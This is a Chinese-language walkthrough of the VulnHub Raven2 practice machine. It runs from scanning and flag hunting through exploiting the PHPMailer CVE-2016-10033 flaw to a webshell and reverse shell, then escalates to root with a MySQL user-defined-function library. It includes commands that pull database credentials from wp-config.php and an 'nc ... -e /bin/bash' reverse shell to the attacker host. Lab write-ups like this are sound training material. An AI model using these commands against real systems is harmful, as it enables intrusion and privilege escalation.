靶机介绍
1)靶机地址:https://download.vulnhub.com/raven/Raven2.ova
2)靶机难度:中
3)打靶目标: 取得 root 权限 + 4Flag
4)涉及攻击方法:主机发现、端口扫描、信息收集、路径爆破、远程代码注入、EXP代码修改、反弹shell、内核漏洞枚举、本地信息收集、MySQL UDF提权
5)靶机简介:信息收集是渗透测试成败的关键,本次靶机一共包含4个Flag,其中的两个Flag是在突破边界之前,就可以通过信息收集手段来获得的。本周靶机仍然会通过WEB漏洞来突破边界,但是过程很曲折。基于靶机作者已经给出的强提示,很容易判断漏洞所在位置以及攻击方法,甚至EXP代码也很容易找到。但经过多次尝试之后,会发现已有的EXP代码完全无法攻破靶机。因此必须结合信息收集的成果以及对漏洞原理的研究,修改现有EXP代码,使其可以正确利用靶机中的漏洞,突破边界获得初始权限。最后利用经典的MySQL自定义函数来实现本地提权。
6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机
打靶过程
1)主机发现
# arp-scan --interface eth1 172.24.10.0/24
2)端口扫描
①对目标靶机进行全端口扫描,发现开放了很多个端口
# nmap -p- 172.24.10.131
②对发现的端口进行服务版本、漏洞扫描
# nmap -p22,80,111,33457 -sC -sV 172.24.10.131
3)对目标靶机80端口的web服务进行信息搜集
①直接访问目标靶机:80站点,发现页面一直在加载,可能由于网络访问请求不通的原因,导致某些资源加载不了
②通过burp进行截断客户端向服务端发送的请求,查看是因为哪种原因导致页面资源无法全部加载,截断去抓取请求和响应数据包都抓取,并且取消部分资源的过滤
③通过数据包截断结果显示,目标服务器请求了国外的云服务地址、google资源等,因此页面无法加载
④kali配置特定方法访问互联网后,在burp中设置上层代理
设置完成后,即可成功访问外部资源
⑤对页面上的信息逐个进行点击,是发现在点击BLOG时,网站返回了一个wordpres的站点,但是页面加载不完整
⑥抓取数据包后,发现客户端请求了一个raven.local本地的域名,因此页面无法全部加载
⑦在kali主机做一个hosts域名解析,绑定之后重新刷新页面,获取到一个完整的wordpress站点
# vim /etc/hosts
172.24.10.131 raven.local
重新进行访问BLOG
⑧因目标站点是通过wordpress,所以通过Wpscan对目标站点进行漏洞扫描,该工具是专门用于扫描和识别WordPress网站中的漏洞和安全问题
# wpscan --url http://172.24.10.131/wordpress -e vt,vp
通过上述wpscan未发现wordpress程序存在一些可以突破边界的漏洞
⑨对目标靶机进行路径爬取
dirb http://172.24.10.131
获取到wordpress的后台页面,但是通过弱口令和暴力破解方式都无法获取到密码,进而进入后台
http://172.24.10.131/wordpress/wp-admin/
发现的wordpress/wp-includes路径,访问该路径时,直接把路径下面的文件列出,并且脚本是php的文件,但是因php被解析,无法直接查看代码内容
http://raven.local/wordpress/wp-includes/
在爬取出的路径/wordpress/wp-content/uploads目录下存在一个flag3.png的图片,获取到第一个flag
http://raven.local/wordpress/wp-content/uploads/
爬取发现了一个vendor的路径,访问该路径时,直接把路径下面的文件列出,在vendor/PATH中,发现了第二个flag
http://raven.local/vendor/PATH
在vendor的路径下,还存在PHPMailerAutoload.php文件、README.md、SECURE.md文件,通过百度搜索发现PHPMailer是一个基于PHP打造的web邮件应用程序,
README.md也可看到和PHPMailer应用程序相关的介绍
在SECURE.md文件中记录了在PHPmailer的版本为5.2.18版本之前存在漏洞CVE-2016-10033
在一个VERSION的文件中记录了当前PHPmailer的版本为5.2.16版本
4)漏洞利用,突破边界
①在kali中搜索关于phpmailer的漏洞利用代码,发现存在的远程代码执行漏洞
# searchsploit phpmailer
②将漏洞利用代码复制下来
# cp /usr/share/exploitdb/exploits/php/webapps/40968.sh ./
# cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
③找到漏洞利用位置在web站点的CONTACT菜单中,该页面中存在4个表单提交的位置
http://172.24.10.131/contact.php
思路:可以通过向表单中插入攻击性的指令,然后利用漏洞,将插入的攻击性的代码,以文件的方式写入到目标靶机的可写的路径中,即可利用成功(如果找到一个可写的路径,将webshell写进去,即可突破边界)
④在实际的攻击过程中需要对漏洞利用代码进行修改,此时先对shell脚本40968.sh进行修改。修改存在漏洞的页面地址以及漏洞利用时后门文件写入的目录
vi 40968.sh
shell脚本修改前:
⑤通过shell脚本利用漏洞,利用使用
# sh 40968.sh 172.26.10.131
⑥对python脚本40974.py进行修改。修改存在漏洞的页面地址以及漏洞利用时后门文件写入的目录、反弹shell连接地址
# vim 40974.py
代码修改前:
代码修改后
vi 40968.sh
⑦通过python代码进行漏洞利用
# python3 40974.py
⑧利用成功后,会在目标靶机的写入shell.php(脚本中定义)的文件
http://172.24.10.131/shell.php
⑨在kali主机通过nc监听,刷新上述页面后,直接获取到反弹shell,突破边界
# nc -nvlp 444
5)提权信息搜集
①查看内核版本、运行进程查看(以root运行的进程)
$ uname -a
$ ps -aux
发现了mysql服务以root用户运行,此时可利用mysql自身存在的漏洞和功能实现提权
②升级终端
python -c "import pty;pty.spawn('/bin/bash')"
③要通过mysql提权,需要先知道mysql的用户名和密码。通过信息搜集,在目标靶机的web站点目录下存在wordpress程序,而web程序需要连接后端数据库时需要在配置文件中写明连接数据库的用户名和密码
$ cd /var/www/html
$ ls -l
$ cd wordpress
$ ls
④查看wp-config.php文件,发现用户名为root,密码为R@v3nSecurity
$less wp-config.php
尝试通过用户名root,密码R@v3nSecurity登录ssh,发现无法成功登录
⑤通过用户名root,密码R@v3nSecurity登录mysql数据库
$ mysql -u root -p
mysql -u root -p
Enter password: R@v3nSecurity
6)通过mysql提权
①利用mysql中shell进行提权
mysql> \! bash
②利用UDF进行提权,UDF为用户定义为函数。在mysql中包含很多内建函数,通过内建函数可以执行某些功能,但是在mysql中也可以自定义一些函数,通过函数执行一些系统命令。
③在kali中默认存在一些已经编译好的UDF函数,通过名称进行搜索,
# find / -type f -iname "*mysqludf*" 2>/dev/null
④因目标靶机为Linxu_X64为操作系统,所以使用lib_mysqludf_sys_64.so文件进行利用,先将文件拷贝至kali主机家目录,再将其传输到目标靶机
#kali主机
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so ./
nc 172.24.10.131 4444 < lib_mysqludf_sys_64.so -w 1
#目标靶机:
$ cd /tmp
$ nc -nvlp 4444 >udf.so
$ ls -l
⑤查看目标靶机中mysql默认插件存放位置
mysql> show variables like '%plugin%';
⑥创建一个表,将udf插件加载到表中
mysql> use mysql;
mysql> create table aaa(line blob);
mysql> insert into aaa values(load_file('/tmp/udf.so');
⑦将表中的数据在保存到mysql插件所在的目录中(正常情况下无权限直接往mysql引擎目录写入文件)
mysql> select * from aaa into dumpfile '/usr/lib/mysql/plugin/udf.so';
⑧通过调用udf.so引擎创建一个系统函数
mysql> create function sys_exec returns integer soname 'udf.so';
⑨通过创建的函数执行操作系统命令:此处执行id命令,并将结果保存到/tmp/out.txt
mysql> select sys_exec('id > /tmp/out.txt');
通过检查发现,成功在/tmp目录下创建了out.txt,说明命令执行成功
⑩反弹shell,获得root权限,查看到剩余flag
#kali主机
nc -lvvp 4444
#目标靶机
mysql> select sys_exec('nc 172.24.10.136 4444 -e /bin/bash');